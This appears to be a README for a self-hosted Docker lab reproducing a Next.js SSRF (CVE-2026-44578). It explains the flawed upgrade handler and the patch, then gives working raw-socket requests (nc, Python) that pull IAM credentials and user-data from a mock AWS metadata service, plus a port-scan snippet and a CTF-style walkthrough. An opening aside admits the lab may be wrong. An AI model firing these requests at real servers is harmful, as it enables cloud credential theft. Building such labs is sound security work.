isaca0315/cve-2026-44578-next-js-ssrfeste laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
Autarkes Labor zur Reproduktion der Schwachstelle CVE-2026-44578 (CWE-918, SSRF) in selbst gehosteten Next.js-Anwendungen, die den integrierten Node.js-Server verwenden.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Typ | SSRF (CWE-918) |
| Betroffene Versionen | Next.js 13.4.13 – 15.5.15 und 16.0.0 – 16.2.4 |
| Gepatchte Versionen | 15.5.16 und 16.2.5 |
| Authentifizierung | keine |
| Benutzerinteraktion | keine |
Angreifer (Host: 0.0.0.0)
│ HTTP :3000 (öffentlich)
▼
┌──────────────────────────┐ gleicher Netzwerk-Namespace ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (Anmeldedaten, │
│ (integrierter Node-Server)│ │ user-data, Index) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (Port 3000): die verwundbare App, exponiert auf 0.0.0.0:3000.imds-sidecar: Mock des AWS-Metadata-Service, der auf
localhost:80 innerhalb des Namespace des Next.js-Containers lebt und
eine reale Cloud-Instanz modelliert. Vom Host aus nicht direkt erreichbar
(kein veröffentlichter Port). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # Automatisierter PoC (5 Probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + geheime Routen
└── nextjs-app/ # Realistische App "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # Navbar/Footer
│ ├── page.js # Landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (verwundbar)
Der WebSocket-Upgrade-Handler in router-server.ts ruft proxyRequest() auf,
wenn der geparste URI parsedUrl.protocol hat, ohne die Flags finished
und statusCode zu prüfen, die der normale HTTP-Handler immer gesetzt hat:
// verwundbar (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// Patch (Commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Der Angriffspfad nutzt eine Request-Line mit absoluter Doppel-Slash-URI:
GET http:///path. normalizeRepeatedSlashes kollabiert http:/// zu http:/,
wodurch kein Hostname übrig bleibt, und http-proxy verbindet dann mit
localhost:80 unter Beibehaltung des Pfads:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Das Vorhandensein der Header Connection: Upgrade + Upgrade: websocket führt
dazu, dass die Anfrage in den verwundbaren Upgrade-Handler fällt, statt in den
HTTP-Handler mit den Sicherheitsprüfungen.
docker compose up -d --build
Prüfen, ob die App antwortet:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Damit es auf 0.0.0.0 läuft, exponiert das Port-Mapping in
docker-compose.yml bereits 3000:3000 auf allen Interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Kompletter 100 % manueller Ablauf in 4 Phasen. Es gibt 4 Flags versteckt im
internen Dienst (localhost:80); diese Anleitung zeigt den Ablauf bis zur
ersten und überlässt dir die Pfade, um die restlichen zu finden.
# Fingerprint des Servers
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Offene Ports über Socket (ohne nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Es gibt keinen direkten Zugriff auf 127.0.0.1:80 vom Angreifer aus: Der
einzige Vektor besteht darin, den Next.js-Server (der im selben Netzwerk wie
der interne Dienst lebt) für uns anfragen zu lassen.
Zuerst bestätigen wir den SSRF, indem wir nach dem Index des Metadata-Service fragen:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Antwort des Index → Kandidaten: instance-id, hostname,
iam/security-credentials/, user-data (erste Flag). Der Index von
latest/meta-data/ offenbart auch Sub-Keys, die es sich lohnt weiter zu erkunden.
GET http:///latest/user-data HTTP/1.1
| Teil | Funktion |
|---|---|
GET | Die Schwachstelle proxyt nur GET |
http:///latest/user-data | Absolute URI. http:/// kollabiert zu http:/ → Hostname null → der Proxy verbindet mit localhost:80 unter Beibehaltung des Pfads /latest/user-data |
Host: 127.0.0.1:3000 | Sonst antwortet der Server mit 400 |
Connection: Upgrade + Upgrade: websocket | Leiten die Anfrage an den verwundbaren Upgrade-Handler um (der normale HTTP-Handler validiert) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Mindest-Header, die bei einem legitimen Handshake verlangt werden |
Abschluss: \r\n\r\n auf dem Raw-Socket (ohne Body).
# Option A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000